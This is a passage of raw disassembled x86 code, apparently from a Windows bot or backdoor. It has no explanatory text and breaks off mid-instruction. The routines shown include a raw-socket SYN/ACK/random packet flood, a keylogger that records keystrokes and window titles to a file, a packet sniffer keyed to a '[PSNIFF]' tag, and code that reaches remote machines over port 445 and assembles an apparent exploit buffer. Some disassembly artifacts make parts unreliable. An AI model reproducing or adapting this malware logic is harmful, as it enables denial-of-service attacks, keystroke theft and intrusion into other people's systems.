call sub_417302 pop ecx push 0FFh push 3 push 2 call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_42642C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 261095Eh loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call dword_43AD2C push eax lea eax, [ebp+var_440] push offset dword_4263E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 261095Eh loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4263B4 push eax call sub_4172B0 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 261095Eh nop loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43AD98 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43ADD8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call dword_43AD98 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_41730C mov esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax shl esi, 8 call sub_41730C add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_41730C cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call dword_43AD98 mov [ebp+var_16], ax call sub_41730C cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_18], ax call dword_43AD94 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call dword_43AD98 mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43AD98 mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_417390 lea eax, [ebp+var_A0] push 34h push eax call sub_40AF39 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_417390 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AF39 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_426344 lea eax, [ebp+var_440] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 261095Eh loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_4262E4 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40D679 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40BF6D push [ebp+var_BC] call sub_417078 pop ecx pop ecx push ebx call near ptr 261095Eh nop sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax nop call near ptr 2630000h lea eax, [ebp+var_114] push 104h push eax nop call near ptr 26207EAh lea eax, [ebp+var_114] push offset asc_426C1C ; "\\" push eax call sub_4179D0 lea eax, [ebp+var_114] push offset dword_42F684 push eax call sub_4179D0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_4179A8 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_417956 push esi call sub_417900 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_426BDC push 200h push eax call sub_41782A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40D679 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40EE72+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 nop call near ptr 26207A4h call dword_43AD20 cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], offset aB ; "b" loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call dword_43AC78 movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43AD64 test ah, 80h jz short loc_402529 push 14h call dword_43AC78 test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call dword_43AC78 test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_417AB0 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_417AB0 cmp eax, 1B9h pop ecx jbe short loc_402593 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_417AB0 test eax, eax pop ecx jz loc_402659 call dword_43AD20 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43AD34 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_4172B0 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_417330 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_417330 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_4179D0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_426BA4 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_417078 pop ecx push 0 nop call near ptr 261095Eh sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40EE72+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_417B30 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push esi call dword_43AD98 push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEE0 pop ecx push eax call dword_43ADD8 push esi push 3 push 2 mov [ebp+var_18], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427604 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_1C] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_4275C0 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 261095Eh loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_43AD44 cmp eax, 0FFFFFFFFh jnz short loc_402865 call dword_43AD2C push eax lea eax, [ebp+var_2B4] push offset unk_427578 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi call near ptr 261095Eh nop loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_426C78 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_417880 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call dword_43ACD4 movzx eax, ax push eax push [ebp+var_C] call dword_43AE24 push eax lea eax, [edi+edi*2] mov eax, dword_426C8C[eax*8] push off_426C68[eax*4] lea eax, [ebp+var_2B4] push offset unk_427528 push 200h push eax call sub_41782A add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call dword_43AD2C push eax push offset unk_4274E4 lea eax, [ebp+var_2B4] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40D679 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40BF6D pop ecx push [ebp+var_4] call dword_43AE30 push [ebp+var_30] call sub_417078 pop ecx push esi nop call near ptr 261095Eh sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029E9 proc near ; CODE XREF: sub_402DD7+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_436EDC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2640000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_436ED8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43AE38 cmp eax, 5 mov ebx, 4C3h jz short loc_402AAD cmp eax, ebx jnz short loc_402AB7 loc_402AAD: ; CODE XREF: sub_4029E9+BEj push edi push edi push edi push esi call dword_43AE38 loc_402AB7: ; CODE XREF: sub_4029E9+C2j cmp eax, 5 jz short loc_402AC5 cmp eax, ebx jz short loc_402AC5 push 1 pop eax jmp short loc_402AC7 ; --------------------------------------------------------------------------- loc_402AC5: ; CODE XREF: sub_4029E9+D1j ; sub_4029E9+D5j xor eax, eax loc_402AC7: ; CODE XREF: sub_4029E9+DAj pop edi pop esi pop ebx leave retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402ACC proc near ; CODE XREF: sub_402DD7+7Ap ; sub_402DD7+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_427B6C lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_427B64 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_436EDC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi nop call near ptr 2640000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_417B5F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_417B5F add esp, 10h loc_402B5D: ; CODE XREF: sub_402ACC+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43ACD8 test eax, eax jz short loc_402B7D push 7D0h call near ptr 26207A4h nop jmp short loc_402B5D ; --------------------------------------------------------------------------- loc_402B7D: ; CODE XREF: sub_402ACC+A2j push 1 pop eax pop edi pop esi leave retn sub_402ACC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B84 proc near ; CODE XREF: sub_402DD7+A9p ; sub_402DD7+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_417B30 push esi push edi push offset byte_42F674 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_416BCD mov edi, eax add esp, 10h test edi, edi jz loc_402DD3 push ebx mov ebx, offset off_427A80 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_417390 add esp, 24h lea esi, [edi+0D7h] loc_402C09: ; CODE XREF: sub_402B84+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_402C59 mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_417390 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_417330 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_417390 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_402C09 ; --------------------------------------------------------------------------- loc_402C59: ; CODE XREF: sub_402B84+90j cmp [ebp+arg_C4], 0 jz short loc_402C74 cmp [ebp+arg_C0], 3 jz short loc_402C7D cmp [ebp+arg_C0], 0 jmp short loc_402C7B ; --------------------------------------------------------------------------- loc_402C74: ; CODE XREF: sub_402B84+DCj cmp [ebp+arg_C0], 3 loc_402C7B: ; CODE XREF: sub_402B84+EEj jnz short loc_402C86 loc_402C7D: ; CODE XREF: sub_402B84+E5j push 4 push offset dword_427B60 jmp short loc_402C8D ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj push 4 push offset dword_427B5C loc_402C8D: ; CODE XREF: sub_402B84+100j lea eax, [ebp+var_1FE0] push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_427694 push eax call sub_417390 push 10h lea eax, [ebp+var_CA4] push offset dword_4279F8 push eax call sub_417390 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_417390 lea edi, [esi+370h] push 3Ch push offset off_427A0C lea eax, [ebp+edi+var_1004] push eax call sub_417390 add edi, 3Ch push 30h push offset dword_427A4C lea eax, [ebp+edi+var_1004] push eax call sub_417390 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_417B89 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_417330 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417390 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DD3: ; CODE XREF: sub_402B84+3Ej pop edi pop esi leave retn sub_402B84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp ; DATA XREF: ___:off_42ACB4o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417B30 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F45 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029E9 pop ecx test eax, eax pop ecx jz loc_403055 lea eax, [ebp+arg_4] push eax lea 